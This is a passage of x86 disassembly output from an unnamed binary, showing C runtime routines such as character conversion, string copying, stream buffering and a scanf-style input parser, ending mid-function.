loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4DC954, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4DC954, 1

locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC71C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------

loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]

loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DC821[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------

loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2

loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------

loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------

loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0

loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb

loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]

loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB364, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------

loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_43C534, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------

loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 2

loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371

loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------

loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_43C328
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------

loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1

loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DB364
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------

loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DB2AC, ecx
		mov	eax, offset dword_43C640

loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43C7A8
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4DB2A8, 0Dh
		retn
; ---------------------------------------------------------------------------

loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_43C644[edx*8]
		mov	dword_4DB2A8, eax
		retn
; ---------------------------------------------------------------------------

loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4DB2A8, 8
		jbe	short locret_420445

loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4DB2A8, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_43CA38
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------

loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_43CA58
		jnz	short loc_4204CF
		push	1
		pop	eax

loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4DB490
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4DB334[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DB334h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------

loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx

loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx

loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------

loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx

loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_43C534, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------

loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_43C328
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch

loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------

loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx

loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43C534, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------

loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673

loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]

loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]

loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax

loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------

loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1

loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------

loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C

loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax

loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6

loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi

loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------

loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------

loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6

loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------

loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]

loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF

loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh

loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_43C534, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------

loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------

loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_43C538, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_43C538
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi

loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_43C534, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------

loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------

loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A

loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------

loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4

loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------

loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_43C534, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------

loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------

loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43C8D8
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1

loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1

loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_43C7B0
		jmp	loc_420A7C
; ---------------------------------------------------------------------------

loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF

loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1

loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------

loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A

loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------

loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh

loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------

loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------

loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------

loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1

loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_43C7A8

loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh

loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]

loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------

loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl

loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi

loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7

loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi

loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5
